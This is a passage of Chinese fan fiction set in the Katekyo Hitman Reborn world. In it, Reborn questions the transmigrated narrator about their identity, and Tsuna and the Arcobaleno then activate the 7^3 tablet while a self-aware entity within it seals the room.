所以在自我怀疑。 不愧是世界第一杀手, 试探的手段都如此高级。 我是什么人间汤姆猫吗, 简直被玩弄于股掌之间。 “那是六道骸最初的猜测, 那现在呢——现在的你的猜测呢?”我急不可耐地想要跳过上一个话题, “都已经坐到我面前了,不会是想要和我一起人身攻击六道骸吧?” Reborn一定有自己的一套猜测,从最一开始——我是说,从选择战的时候开始——就有猜测。随着时间推移,他的猜测在不断地完善,否则他的眼神不会那样总是在不经意间让我毛骨悚然。 但这么久了,他都没有真正地向我发难,几次试探比起像是对待敌人,他更像是一种作为家庭教师的定向观察。 就是这种“老师视角”才最让我后背发凉。 只不过,从这种视角的存在也侧面反映出,他对我的猜测多半是向好的。 “虽然并非是真正的答案,六道骸最初的那段猜测也确实很有参考价值,”Reborn依然发挥着自己能说过程就不直接说结论的原则,吊着我的胃口,很是恶趣味,“至少,能够穿越平行时空的,只可能拥有‘穿越’资格的人。” 我知道他指的应该是尤尼酱或白花花那样的穿越资格,但从我的实际情况来分析,他说的也没有错。我不仅有穿越资格,甚至这个资格有点流畅过头了——失禁的那种流畅。 “同时——”Reborn诡异地拖长了语调,我后背一凉,已经能感觉到他要给我憋个大的了,“能够进入彩虹之子精神平台的,也只有彩虹之子。” 精神平台? 我多花了几个呼吸的时间来消化这个陌生的词汇。 你不要告诉我,彩虹之子的精神平台,就是我想的那个地方吧? 彩虹之子复活过程中用来存放彩虹之子灵魂的精神世界? 那里面不能进外人吗,这种事可没人提前说过! 等等,既然有这种设定,为什么当时没有人提出质疑! “这件事,也是尤尼恢复精神之后,才意识到的事——那样能够连接所有彩虹之子的精神平台,是当彩虹之子濒死时,大空延缓自己守护者死亡的唯一方式。也可以说,那是一种生死边缘地带。”Reborn作为唯一一个没有进入彩虹之子精神平台的彩虹之子,已经将这个精神平台的特点,摸得清清楚楚,“白兰在选择战的时候就说过,在其他所有的平行世界里,尤尼都没有激活过彩虹之子的奶嘴,换句话说,其他的彩虹之子在——且只在,这个世界复活了。所以,这个精神平台,实际上并未在其他世界里出现过,你不知道那个地方的特殊性也情有可原。” 不想要这种情有可原。 无法反驳。 这个设定原作里没有讲过啊。 不对,应该说,原作里彩虹之子复活这场戏的主角是尤尼酱,主视角自然也就聚焦在尤尼酱身上,所以其他五个彩虹之子被复活的详细过程,才没有被仔细描述过。 ……难怪卷王没有在那里出现,原来是在这等着我。 “既有彩虹之子的特性,又有白兰的特性,你比任何人想得都要复杂,”Reborn越说,表情越自信,“除此之外,还有你的火焰。不论是有没有属性,是什么属性,火焰的本质都是一样的。可以燃起一种火焰,和可以燃起多种火焰的原理相同;燃起晴属性的火焰,和燃起大空属性的火焰的原理也相同。你能够用岚火焰和石榴战斗、用玛雷指环的火焰和白兰战斗、用尤尼的火焰复活彩虹之子,只能说明一件事,你非常熟悉火焰。” 那确实,我熟悉得很。 “一个熟悉火焰的人,却让狱寺教得焦头烂额?”Reborn挑眉,“叫醒真正睡着的人不难,难的事是叫醒装睡的人。” 不,别的我都认,但这个我真的认不了一点。 你要不要亲自去看看狱寺是怎么教我的,那真是眼镜一戴,谁都不爱,能听懂他的课程才有鬼了! 这种锅就不要给我背了吧。 Reborn无视了我散发着深深怨念的死鱼眼,“这种逗弄守护者的腹黑性格,来自十年前的我确实还不算熟悉,但六道骸就不一样了——用他自己的话来说,就是亲眼看着阿纲在这十年间变成了一只黑心眼的白兔子。” 从白切白,变成了白切黑。 很正常,看270那为数不多的镜头和侧面描写就知道了,一个不谙世事的纯洁白兔子,是绝不可能在密鲁菲奥雷的压力下,撑起彭格列这么一大摊子责任的。 没机会见到爆A270真是这次穿越最大的遗憾,没有之一! “当然,最终一锤定音的,还是阿纲告诉我的一件事,一件用任何特性都无法解释的事——”他的表情前所未有地认真。 我跟着他的语气紧张起来,不自觉地咽了口唾沫,眼睛不敢眨,全部的注意力都集中在Reborn的声音上。 “——机器人。” “嗯?” Reborn说出这个词后的第一秒,我并没有反应过来,但在他说出下一句话之前,我的表情僵住了。 机器人,代表的是纲吉的私人心事。 “你是怎么知道,阿纲小时候的梦想是成为机器人的?” 额……硬要说的话,是因为有公式书? “比起那些能力,这点才是真正让人费解的。这不是什么众所周知的事情、也不是什么值得打探的有价值的情报,更不是会留下痕迹的实体日记内容,而是阿纲自己都羞于说出这少不更事时的奇怪梦想。别说是十年后代表着彭格列形象的他,哪怕是我们十年前的阿纲,都不会将这件事告诉其他人——尤其是不会说给外人听。那么,你又是怎么知道的呢?” Reborn有自己步步紧逼的节奏,他没有一开始就把这个漏洞告诉我,而是先用前面那些有逻辑、可考证的东西铺垫,甚至留给我不少反驳的机会。只等着我慢慢进入他的节奏后,用这样一个私人细节绝杀。 用纲吉私人情报装逼的我,正是那个刚刚穿越了几千个世界心态炸裂的我。当时的那个我,估计真连毁灭世界这种事都能做得出来,只是区区说话不过脑子……我根本就没犹豫,也更没有考虑过,一时之语会给后面带来的影响。 “就算是敌人的幻术师,找出这么无聊的东西,也不具备任何战术价值。这应该是,只有阿纲自己才知道的事。” 事实上,打破第四面墙的话,纲吉的梦想少说也有几百万的知情者,我不过是其中之一。 但在这个世界,这确实是无法解释的事,我无奈地叹了口气。 “纲吉,纲不吉——这个名字就很有意思,同一个时空点,不能存在两个相同身份的人。所以你既是阿纲,又不是阿纲。”千呼万唤始出来,Reborn的话终于进展到了结论部分,“有阿纲的个人身份、彩虹之子的精神特性、白兰的穿越能力——” Reborn一顿,抬起了帽檐,“你之前和六道骸说的,‘石板拥有自我意识’,指的不会就是你自己吧?” 谁说生活没有观众,明明处处都有记录。 六道骸是什么人形录像机吗,怎么哪里都有他,哪里都能给我调出来一点我的问题。 Reborn都已经说到这一步了,竟然还没有到闭嘴等我申辩的时候,他继续掌握说话主动权,“而且还是由阿纲亲手调动的‘意识’——就像现在已经准备好要亲手启动7^3石板的阿纲一样。” 这下我总算是明白了。 我就说,Reborn早不提晚不提,偏偏等到这个时候来和我对峙。 原来是为了纲吉。 我上午才刚和纲吉说,要他做好准备,到时候由他来启动7^3石板。结果才刚到中午,Reborn找上了门来。 虚假的彭格列大空的守护者——狱寺、山本、了平大哥、蓝波、库洛姆AKA六道骸、云雀;真正的纲吉守护者,唯一指定家庭教师Reborn。 我的身份是什么,对他来说都无所谓,也没必要戳穿。 但,他必须知道,我指明的即将发生的未来,对纲吉有什么影响。 突然……好像有点,嗑到了。 第148章 “你是担心纲吉。”我直接点了出来, 心情一下子放松下来。 这一次,我算是记着了,Reborn说的“用人不疑”这个词。 如果, 他把我当作另外一个平行时空中, 因为启动石板而意外承载了石板意识的纲吉,那他更应该对我几分好感。 更重要的是,无论我的身份如何, 现在想要中止7^3石板启动计划都已经不可能了。 毕竟,7^3石板一事,关乎着八兆亿个世界的生死存亡,也关乎着彩虹之子身上的诅咒, 以及未来版十代目家族的生死和过去版十代目家族能否返回正常时间线——这么多因素混杂在一起, 早已不是某一个人能全权代表做出决定的事件级别了。 卷王也不可能同意。 “当然。”Reborn丝毫不掩饰自己的目的,他就是想要在一切开始前,进行一次确认而已。 与其说想要一个答案,不如说在求一个心安。 他甚至不能保证,我说的一切都是真的, 但他还是开了这个口, “我要听听你·的·答案。” 我失笑,“我的答案……好吧。7^3需要的确实只是彭格列指环, 而非彭格列指环的适格者——风险当然也存在, 但哪怕是走在大马路上都有潜在存在风险,需要面对风险的也不只是一个人。选择让纲吉启动7^3石板的原因, 确实是白兰已死, 尤尼的身体刚刚经历过强消耗, 纲吉是最优解。而且——你心里担心的那件事不会发生, 7^3的意识不会选择纲吉的身体作为容器。” 我抓住机会, 给Reborn吃了颗定心丸。 他最担心的,无非就是这件事。 但我这句话说完之后,他的关注却一下子倾斜到了另一个重点,“所以,7^3的意识果然是需要容器的。石板启动,也确实会激发7^3的意识寻找容器。” 不是,Reborn大哥——我和你心连心,你和我玩脑筋。 这都能抓到我说话时的表达方式和用词,然后推测出我没说出口的事吗。 我一边赞叹Reborn的敏锐,一边又因为自己是被敏锐的对象而感到一阵心痛。 又是当小丑的一天。 罢了,他们能早一点知道也好。 省得等到我和卷王对峙的时候,情况复杂导致敌友不分。 我坦然点头,“这事儿,我不是早就和六道骸提过了吗?石板拥有自己的意识,能够做出自己的决定。祂——不需要拥有自己意识的人类作为容器。” 如果只是想要寄宿在某一个人的意识中,卷王根本无须大费周章,祂原本就是意识的集合所孕育出的东西。 祂真正想要的是“独立”——独立于祂的孕育之处,故而无需防备,祂也绝不会允许任何人的意识入侵到祂的“独立”之中。 祂甚至提前打算好了,要趁着世界重新刷新之际,将那些将祂孕育出来的世界意识集合体的影响,统统排消除。又怎么会在这个节骨眼儿上,主动再带上其他意识的枷锁呢? 我已经拿捏了卷王的心思,所以即使知道卷王有这个能力,也绝对不会用“附身”这样的下下策。祂不仅不会这么做,而且还会防备着其他人,不让谁有机会在世界刷新后,入侵到祂的新意识之中。 Reborn的豆豆眼,因为没有可以垂下的眼皮,所以只能压下帽檐,以示思考。 数秒之后,他抬头,说出了包括他和六道骸在内,许多人心照不宣,却不曾言明的总结,“所以可以说,7^3拥有自己的意识,其意识不需要新载体,是因为祂原本就拥有载体——7^3石板就是7^3的意志的具象化。而且,石板内具象的,还不仅仅是一套7^3的意识,而是所有平行世界、所有世界基石汇聚而成的意识体。” Reborn的表述无限接近于现实,除了没有用“世界意识”这个专有名词之外,他几乎已经道明了卷王的本质。 “一定是这样的,否则——八兆亿个平行世界里,不会只有一个石板实体。平行世界这棵参天大树,也不会有且只有一个根源。” 我眼里流露出不加掩饰的赞赏和认同,但这一次,却没有给我开口说话的机会——不是Reborn没有给我这个机会,而是卷王没有给我这个机会。 Reborn的话仿佛是一个开关,被猝不及防地突然按下。 毫无征兆的,地面开始震动,紧接着整个基地都开始摇晃,连带着Reborn屁股下面那个和基地相连的悬空座椅也变得极为不稳。 哪怕用上胶水,屁股也不可能在这种震动摇晃中粘在座椅上。 Reborn不可能等着椅子把他甩到地上去,第一时间就起身,稳稳地跳到了我的肩膀上。 “地震?”这里本来就在地震带上,我的第一反应当然是这个。 “不对,所有会影响到基地的地震,都在彭格列基地的监控范围内。”Reborn严肃摇头。 正是因为本就处于地震带,所以基地在选址建设之初,就已经考虑到了这些自然灾害的问题。 这里毕竟是二次元世界,而且还是二次元中的未来世界,能够精准检测地震没什么可意外的。 但是,如不是地震,这股剧烈的震动又来源于何处? 敌袭? 可是,现在还有什么敌人,能够毫无痕迹地直接攻到彭格列的大本营来? 总不是要告诉我,这个时候的彭格列内部出现了内鬼吧? 我可不信。 “不知道。”Reborn和我一样没有头绪。 专门监控基地整体状态的拉尔·米尔奇是反应最快的人,我和Reborn都才刚刚踏出食堂的大门,她就已经找出了震动的根源,紧急召集相关人员在指定位置集合。 一听到集合的那个“指定位置”,我和Reborn匆匆对视一眼,脑中不约而同地冒出了相同的答案——7^3石板。 集合的位置,正是石板所在的位置。 我不敢耽搁,带着Reborn一起迅速行动起来。 但和Reborn不一样的是,我心里有种隐隐的猜测。我很清楚,7^3石板不会在毫无缘由地情况下主动发挥影响力。 因为本质上来说,有影响力的不是石板,而是卷王。 真正要讨论的根源应该是,卷王为什么会在这个时候突然震动。 到目前为止,一切应该都是在按照祂所期望的方向前进。 还有什么是他不满意的? 还有什么是需要他制造如此大动静的? 食堂这样有人员集中流动的地方,和存放白色装置以及7^3石板的房间相距甚远。 二者甚至原本都不在同一个基地中,是后来正一和强尼二想办法建立起的连接。 即使我全速前进,等我们到的时候,除我和Reborn外所有的相关人员——彭格列十代目的主角团们、彩虹之子们,包括照顾尤尼酱的伽马,以及一票科研小组,都已经到位。 进门之后,我甚至不需要问一句“发生了什么”,因为眼前所见的一切就足以说明问题。 白色装置的颜色暗淡,但石板看上去却明亮异常,尤其是填补了空缺的玛雷指环,七枚指环散发着各自属性的颜色,才刚刚被我放上去没两天的大空属性将七种颜色串联起来。 7^3中其他两组空缺的凹槽里,燃烧着没有属性的火焰,仿佛是一串等待着术式降临的咒力,急切而焦躁。 先前击中过我的怀疑再次清晰起来——差点忘了那件事,“卷王の急躁”。 在尤尼酱突然昏迷的时候,我就怀疑过,卷王那与日俱增的急躁究竟从何而来。到底是有什么无法看到的压力时刻紧逼,以至于卷王竟然如此肆无忌惮地加速7^3的汇聚。 先前还只是侧面的推进,现在这属于直接就不装了,摊牌了。 祂就是要马上让7^3汇聚起来,怎么着吧? 但任何事都一定存在契机,那7^3石板暴动的契机又是什么? 我眼睛一转,心里岂是已经有了答案。 不论是从时间还是从逻辑上考虑,契机一定就是“地震”前,Reborn的那句话。 卷王在独立之前,并不能脱离世界意识,完全独立的行动。祂能够在我携带桔梗、蓝铃和雏菊穿越的那次过程中,将我拖到白花花面前,是因为有玛雷指环作为桥梁;能够让尤尼酱突然被火焰过耗逼到昏迷的地步,是因为尤尼酱自己先主动激发了彩虹之子奶嘴的生机,将自己的火焰和五个奶嘴的火焰联系到了一起。 那么这次也一样。 Reborn作为姓名写在漫画名上的绝对主角之一,在世界重启、规则刷新之前,他的认知实质上是直接和世界意识相连的。当他清晰地认知到卷王存在、并且将这种认知宣之于口的时候,就等于给卷王建立起了独立行动的桥梁。 用更简单的话来说,就是Reborn的言语某种程度上帮助卷王完成了人设的同化。 和我过去被世界意识同化的道理相同。 不,不仅仅是因为Reborn命名漫画的特殊地位,还因为他是唯一一个没有和卷王产生过直接联系的意识——岚雨雷雾云五个彩虹之子在复活前,曾被卷王接管过意识,联系极深;尤尼酱也在建立彩虹之子的精神平台时、在夺回彩虹之子们的意识时和卷王建立了联系,唯有Reborn,他一直独立于卷王的影响之外。 这对于要建立7^3融合的卷王来说,是一块缺失的拼图。 Reborn的认知,无疑补上了这块拼图,再加上已经嵌入石板中的玛雷指环,让卷王通过种种手段,掌握了三分之二——也即超过半数的石板力量,拥有了强行推进的条件。 这是只有在世界规则刷新之前,才能做到的事——毕竟世界重启之后,卷王就会独立于世界意识,不受世界意识束缚,自然也无法在使用世界意识的能力。卷王确实不会允许自己在世界刷新后和任何人的意识再次连接,但在刷新之前,祂却并不排斥再最后利用一下自己作为世界意识的影响力。 “7^3石板的数值在急速增长。”正一看着眼前已经因为爆表而停止增加的数字,脸上满是凝重,“如果不能控制住的话,石板很快就会变成黑洞。” 过于浓烈的力量,会形成黑洞,拖得时间越长,就越难控制。 卷王此举,就是不想再给人思考的时间。 我在眼前的石板中感觉到了一种迷之熟悉。 卷王,原来你也害怕被人掀了马甲。 “不能再等了,7^3石板能够承受的压力已经到达了巅峰。”我顺水推舟,“其他的平行时空已经因为毁灭失去了支撑,压力都在这一个世界里。这个世界生,则所有的世界生,这个世界亡,则大家一起都要亡——我也没有想到,这个压力集中爆发的速度会这么快!” 这个说辞并非天衣无缝,但此刻早已没有了论证的机会。 “那就只能马上行动了。”正一看向了纲吉。 他没有进入死气模式,整个人看上去非常紧张,但眼神却毫无动摇,他长出一口气,“呼——我已经准备好了!” 纲吉说着,便吞下了死气丸,进入了死气模式。 这是必要的,他是那个按下世界重启键人,需要确保7^3石板的火焰能渗透过八兆亿个世界——这就需要有充足的火焰和超人的集中力。 但和往常战斗不同的是,为了确保能够顺利地取下指环,他没有戴自己那双列恩手作、标着27的毛线手套。 “无关者退后,不要影响7^3的共鸣。”我生怕自己这个异类会和卷王连接起来,于是找了个理由,赶紧后撤到了门线外,“尤其是你,拉尔。” 她拥有一个诅咒不完全的奶嘴,说得不好听些,那是7^3产生的残次品。 但终究,那是属于石板的力量,如果在7^3石板影响的范围内,一定会被吸入。 但考虑到卷王的追求,和祂那四处搞事只为独立的努力——祂绝不会想要独立的自己体内,混杂着残次的力量。若是拉尔身处其中,卷王只要有机会,就一定会想办法毁掉这个“残次品”。 我打断了她和可乐尼罗之间的情话施法,率先将她强行拉了出来,我劝道:“以后有大把的时间留给你们,不用急在一时。” 拉尔和可乐尼罗都是军人出身,执行力远比决策力还要强。事关世界生存,拉尔不需要我多用力,就直接退了出来。她甚至没有和乐可尼罗说话,只是彼此交换了希望对方安心的眼神。 与我二人一起退出来的,还有科研组、伽马和十年后的六道骸。 除此之外,这里再无他人。 “准备好了吗,大家。”纲吉站在7^3石板前,感受着石板凹处传来的阵阵吸引,额头上燃烧的火苗尖尖都被吸得朝石板输送火星。 “随时都能开始,”狱寺迫不及待地回应纲吉,“请对我下命令吧,十代目!” 山本站在和狱寺相对的方向,身后难得没有背着那把刀,只转动着中指上的蓝色宝石,“我也任何时候都可以,阿纲。” 蓝波被了平大哥抱在怀中,他揉着眼睛,有些睡眼惺忪,仿佛刚刚睁开眼睛没多久。他的双手在毛茸茸的头发里翻找着,先后丢出了四颗手榴弹、一袋金平糖、两个包裹着迷之倒计时的气球、两个游戏机、三个苹果和……一个榴莲!? ……6。 虚假的黑洞:失控的7^3石板。 真正的黑洞:蓝波的四次元头发。 但在榴莲之后,他总算是摸出了自己的指环,高高地举在手上,“蓝波大人找到了!” “呦西!我和蓝波也极限地准备好了!”大哥时刻承担着照顾蓝波的责任。 库洛姆回头看了看六道骸,在对方的颔首和鼓励中,燃起了雾属性的火焰,“我也是,BOSS。” 云雀恭弥更不必说,他只是懒得用言语搭理别人,但有明确的返回十年前并盛这个目标在,他比任何人都更早地做好了准备。 彩虹之子们虽然没有像十代目家族一样,挨个儿给予纲吉回应,但他们都是身经百战的战士,都是万里挑一被选出来的受诅咒者,任何时候都能跟上进度。 纲吉特意关注了尤尼酱,后者的心智之坚韧更胜旁人,她站在五个彩虹之子的前面,“不用顾忌我,请开始吧,纲吉君。” Reborn则是站在纲吉的肩膀上,“你能做到,别怀疑自己,明白了吗?阿纲。” 他一眼就看出了匆忙中,纲吉内心那不可抑制地动摇,他摘下了自己的奶嘴,捧在小小的掌心。明明是在碰壁的房间里,却能清晰地看到,他的奶嘴在掌心里朝着石板的方向微动。 “嗯——我明白,Reborn。”纲吉重重地闭上眼睛,再睁开时,眼里已经没有了一丝动摇,“——开始吧。” 象征着平行时间线的玛雷指环已经嵌入了7^3石板,那么下一个,就应该是与之十字交错的时间线。 纲吉一声令下,七枚彭格列指环同时燃起了大量的火焰,不同的色彩、不同的形态,却有相同的汇聚方向。 火焰不断地产生、延长,最终流向了7^3石板的嵌口。 指环的适格者们逐渐清晰地感觉到自己和彭格列指环之间的联系,以及彭格列指环和7^3石板对应嵌口之间的联系。 渐渐地,两种感觉融合,适格者会逐渐感觉到了自己和7^3石板之间建立起直接联系,甚至有种和石板本该为一体的错觉。 这是早有所料的事,指环上的宝石原本和7^3石板是一体,在宝石和石板分开后漫长的发展中,才逐渐形成了和适格者二维一体的格局。当石板要重新和指环融合的时候,自然就会不可避免地牵连到另外一方的适格者。 但这个时候,绝对不能迷失自己。 否则,和石板融合事小,被不想受人制约的卷王找机会干掉就事大了。 这就是我所说的——风险。 “大家,保持自我!”纲吉在大空火焰旺盛,加速着指环和石板的融合。超直感的天然优势,让他能够最精准地把控分寸,知道何时放手能够最大限度地将适格者和指环之间的联系,也随指环一起,完美转移到7^3石板上,“——就是现在!” 守护者们不论平日如何表达,内心都对纲吉抱有相当程度的信任,就连云雀都没有多一秒的怀疑,在纲吉的声音里,对指环放了手。 瞬间,就像是磁铁的两极,“啪”的一声,没有了牵制的指环嵌入了嵌口,只唯独缺了彭格列大空的一角——纲吉自己还不能松手。 最后一个嵌入的指环,就是重启世界的最后按钮。纲吉是启动者,他的指环必须最后放置。同时,也只有拥有超直感的他,能够在三大基石、七种属性、二十一个指环之间,把握住微妙的平衡。 空间线和时间线架构的交点已经就位,纲吉开口,“奶嘴!” Reborn已经退回了彩虹之子的行列中,和其他人一起捧起奶嘴,用双手掌控。 和直接在指环上方燃起火焰的彭格列宝石不同,彩虹之子的火焰在奶嘴的内部燃烧。隔着奶嘴透明的外壳,内里的火焰宛如流光、如星火,将奶嘴烤得炽热。 他们的火焰不如彭格列指环的适格者明显,却闪耀得刺眼。 “尤尼酱,让你的火焰,连接到Reborn的火焰之中。”纲吉凭借着自己的感觉指挥,做着旁人都做不到的临场调整。 虽然我没有预测到这些临场进行的调整,但当纲吉的调整说出口的时候,我却也能很快推出原因。 彩虹之子中,只有Reborn的奶嘴没有被复活过,只有Reborn的意识没有直接和卷王相连过。即使卷王钻了他那一句话认知的空子,却并不意味着他和7^3的石板意识——应该说,是卷王意识有和其他彩虹之子同级别的联系。 没有,就要补。 尤尼酱的大空属性连接着其他所有的“天气”属性,自然要由她来行动。 只要完成了这一步…… 纲吉闭着眼睛,超直感从未如此强烈地和五感的每一个角落相连过。在屏蔽视觉的黑暗里,彩虹之子和奶嘴的光合几乎快要二为一,如同实质化的能量体,悬浮在空中。 ——这就是彩虹之子—奶嘴—7^3石板平衡的临界点。 “就是现在!”纲吉掐住了时机,甚至根据彩虹之子们的反应速度,留出了0.5秒的反应时间。 彩虹之子的手在纲吉算准的临界点松开,奶嘴顿时和先前的彭格列指环一样,被吸入嵌口之中,成为了7^3石板的一部分。 三足鼎立的世界基石之间,已经开始了融合:相同属性的火焰形成圆圈,将三角的属性彻底连接;七个属性的火焰圈相互交叠,拱卫着最后一处缺口。 纲吉走上前,一种强烈的——比任何人都强烈的融入欲望充斥在他的大脑。 眼前的石板仿佛是吟唱着歌谣、诱惑着水手的海妖,让人忍不住想要抛去己身,甘愿被吞噬其中。 “唔——!”纲吉皱眉,瞳孔中确实有过一瞬间的迷乱,但也只有那一瞬间。 被火焰染成大空色彩的眼睛荡开清明,超直感叫嚣着危险、身后同伴们的信任如有实质和他们的视线一起,支撑着纲吉的后背,充盈在纲吉的胸口。 他在石板面前,亲手摘下了大空指环。 纲吉是在场唯一一个,用手将指环放入嵌口的适格者。 当他的手和石板接触的那一刻,眼睛里瞬间闪过无数纵横的线条。在他的眼睛里,我仿佛能够看到八兆亿个世界一个个扑来,从石板创世之初的时间线一条条闪过,纲吉在此刻进入了世界意识一般,全知全能的状态。在这种全知全能中的感知里,一个个彩虹的交点带着世界的力量收缩在一处,最终孕育出了唯一的果实。 这个“果实”就在纲吉和石板的连接中成熟。 果实成熟的第一秒,第一个反应,就是过河拆桥。 这个世界的主人公是纲吉,这个主角的地位不会因为世界被刷新而改变。毫无疑问,纲吉仍然是世界意识拱卫的中心,那么自然,在这个世界有如此特殊位置的纲吉,就会是祂独立后的最大敌人。 祂想要趁着这个机会——这个刷新后的、没有经验性规则的世界意识,无法反应过来的瞬间出手。 不论是直接绞杀纲吉的意识,还是将纲吉的意识推到和世界意识同化的地步,对祂来说,都是绝无仅有的好事。 但祂想错了。 由十年后视线中的八兆亿个白花花的肆意行为创造出的自主意识,没有看明白纲吉和世界意识之间的真正关系。 不是因为有世界意识的拱卫,纲吉才是主角;而是因为纲吉的存在,世界才存在、世界意识才能以他为中心运作。 就是在这唯一的一秒里,纲吉毫不犹豫地松开了手,让自己和7^3石板的连接断开,对那种令人痴迷的全知全能的感觉毫无留恋。 第149章 灰得发白的7^3石板从来没有如此炫目过, 七种颜色的火焰连成的圈交叠在一起,彩虹汇成一色。 突然,不知是什么东西, 如水滴落在了7^3石板色彩汇聚的中心, 接着,整个石板硬质的表面仿佛流动的水面,泛起波澜。 泛起的涟漪层层荡开, 将火焰的颜色洗去,不是变回了灰白色,而是透明得仿佛一块方形的水晶。 奇怪,先前激活7^3石板的那次, 石板可不是这种反应。 我毕竟不是第一次激活石板, 不由得心生疑窦。 即使上一次被激活的石板,并不拥有完整的7^3力量,但我模拟出来的火焰状态应该无限接近于真实,至少不应该有如此明显的差距。 “这、这是发生什么了!”史卡鲁有些慌张地左右观察,失去胸前的奶嘴让他产生了一种微妙的慌张状态。 我当然知道奶嘴对彩虹之子的意义和一般指环对适格者的意义全然不同, 奶嘴和彩虹之子之间, 还存在着一层诅咒的联系。 诅咒既是束缚,也是彩虹之子更长生命的维系。只不过, 在今天之前, 我并不完全确定失去奶嘴这件事对彩虹之子产生影响的直观效果。 我也并不认为那会有多大的问题,毕竟按照原计划, 奶嘴归于7^3石板之后, 卷王要做的第一件事, 应当就是刷新整个世界, 剔除世界规则对他的影响, 完全独立出来。 一旦世界重启、规则刷新,不仅指环和适格者之间的关系需要重构,奶嘴和彩虹之子之间的诅咒更是会从彩虹之子身上消失。 但现在,眼前的世界不仅不像是刷新过,反倒是连7^3石板的状态也非常奇怪。 而且,奶嘴和彩虹之子之间,也出现了明显的断裂断层。 如果只是史卡鲁一个人发出那样的声音,我大概不会觉得有多大问题,毕竟他有些搞笑役属性在身上。可是,除了发出声音的他以外,其他的彩虹之子也出现了明显的身体不适。 从他们的表情就能看出不同程度的隐忍来——当然,除了史卡鲁。 他戴着头盔,看不到表情。或许就是因为有头盔的存在,他的角色设定才会这么多话,用语言来代表五官。 非常合理。 不对,现在不是盘史卡鲁人设的时候。 我暗暗观察着旁边的拉尔,等待一个答案。 “怎么回事?”拉尔攥紧胸前的衣料,一种若有若无的窒息感从房门线内传来。或许是因为有一个半成品的诅咒影响着她,她隐约能够感觉到里面彩虹之子们面色隐忍的原因。 紧接着,她拿出了口袋里发烫的奶嘴——彩虹之子中唯一一个灰色奶嘴,这是诅咒缺陷的证明。 “咔咔咔——” 奶嘴在拉尔的掌心里裂开,一缕雨属性的火光从碎裂的中心流出,飘入了房内。 火光似乎想要跟着其他奶嘴的力量一起,也钻入石板之中。但其却在房间里飘荡了几圈后,消散于无形。 奇怪,这缕火焰很奇怪。 它没有流向水晶一般的石板,而是消散在了空气中。 我皱眉,抬手拦住了想要踏入其中的拉尔,“你不能进去。” “但是,可乐尼罗他们——” “我知道!”我打断了她。 我当然也看到了拉尔所看到的,彩虹之子都有反应,尤其是尤尼酱,她原本就没有完全恢复元气,现在能站住完全依靠着Reborn和风的扶持,“但现在进去只会搅得更乱,你明白吗,伽马?” 着急不理智的,当然不止一个人。 旁边的伽马一点儿也不比拉尔平静,甚至更加激动。 “可是——” “没有可以。”我没有给伽马说话的机会,生怕他说着说着,给自己说得逻辑自洽起来。 “即使你想要进去,现在也进不去了。”六道骸站得很远,但他的眼力却是绝无仅有,透明的空气、透明的石板,他一眼就看出了关键,“不信的话,你可以试试看。” 六道骸说话的时候,一下都没有笑,哪怕是在和白花花搏命的时候,他都时不时带上一串标志性的“Kufufufu”。但此时,却连嘴角都下压着,这种语气本身就散发出了一种危险的信号。 他很认真。 “可是,在这里什么也做不了。”正一平日里使用的设备都摆放在房间内部,如果不能进去的话,他连石板到底出了什么问题都不知道,“纲吉君!你能感觉到是怎么回事吗?” 他扬声,试图和里面的纲吉建立联系。 哪怕他进不去,只要里面还有人,自然就有一百种办法可以了解内部。 但是,正一的想法落空了,纲吉根本就没有回应他。 “声音也隔绝了。”六道骸眼睛里的数字闪成“一”,地狱道的力量让他能够自由地使用幻术。能使用幻术,自然也就能看穿幻觉,他谨慎地确认了眼前的场景,“里面人的瞳孔里没有印出我们的存在,我们看到的场景是单向场景。” 也即,外面的人能看到里面,但里面却看不到外面。 最后一个传出来的声音,竟然是史卡鲁的声音。 ——微妙。 “果然。”我就知道,7^3的力量汇集起来的瞬间,我和卷王就彻底没有了相同的立场。我抬手,缓慢地伸向了房间,只听“滋啦”一声,静电窜过我的指尖,让我下意识地撤回了手,“祂把内外隔绝了。” 隔绝,可是却给我们留了观察里面的途径。 可不要告诉我,卷王是在单纯的炫耀,我不信的。 一下子,我想起了我激活石板那次,在某个没有边际的空间里感受到的七秒。 那时候的感觉,和现在的感觉很像,都是在7^3石板激活的情况下发生的。 算是一种石板激活会出现的必然现象。 但不应该有这么长时间。 卷王当时能记录下来那七秒在白色装置上循环,现在自然也能截取出一段时间不断重播,只循环这种特殊环境,就能达成现在内外隔绝的效果。 如果是在循环的话,也就能解释为什么我们能看到里面,里面却看不到外面。 因为外面的我们在循环之外,里面的人却在循环空间里,空间内的视觉效果会因为循环而固定。 循环的基础是重复,而非凭空创造。 我们所看到的一切都是真实存在的,包括刚才那透明化消失的石板,以及拉尔奶嘴里那消失的火光。 拉尔的奶嘴蕴含着残缺的诅咒,和残缺的奶嘴火焰。但7^3的数量和能量完全固定,不可增减,之所以能出现这第八个奶嘴,只可能是七个奶嘴中某个奶嘴的力量被分割了出来。 她是最初被选中的被诅咒者,可乐尼罗代替她承受了诅咒,所以分裂的奶嘴只可能是可乐尼罗的雨属性火焰——也即是刚才裂开奶嘴中流出的蓝色火焰。 火焰如7^3石板的最后一块拼图,它只能被石板所吸引,只能流入石板之中。 但刚才,火焰却飘散在房间内,被房间所吸收。这只能证明一件事——那就是这个房间内的一切,现在都处于石板之内,甚至就是石板本身。 我料定拉尔一定会把奶嘴放在身上,又让她留在门外,就是为了佐证此刻。 卷王不容缺口,不仅仅是因为祂想要绝对完整7^3石板来造就“自我”,更是因为最完整的力量通常也最脆弱,但凡有一点力量留在世界刷新之外,都极有可能成为釜底抽薪、撬动祂的缺口。 只不过,按理来说,只要世界重启被刷新,哪怕是房间外的拉尔也一并在刷新范围。卷王特意将她的力量单拎出来吸收,就说明——祂并不打算全线重启世界。 祂只刷新石板来创造自己,但却留下了石板之外——也即房间之外存在的世界意识和世界规则。 “祂?”在我瞬时思考的过程中,拉尔抓住了我的用词,“谁?” 我没有直接回答她,“这里面的房间已经完全被纳入到石板的影响范围,完整的石板、完整的基石、完整的7^3——世界的重启键就在里面,但却被祂藏起来了。也就是说,里面的世界就在重启键上,处于被7^3石板串联起来的所有平行世界的间隙里,介于世界重启与未重启的世界之间。” 既不受重启前世界的影响,又没有跨入新的世界规则里。 卷王绝对是想要在这样一个小小的房间里,剥夺世界意识下纲吉的主人公位置——祂确实没有完全理解纲吉和世界之间的关系,也在第一次对纲吉的绞杀里失败了。但他无疑认为,这一次行为至少能隔绝掉世界意识对纲吉的保护。 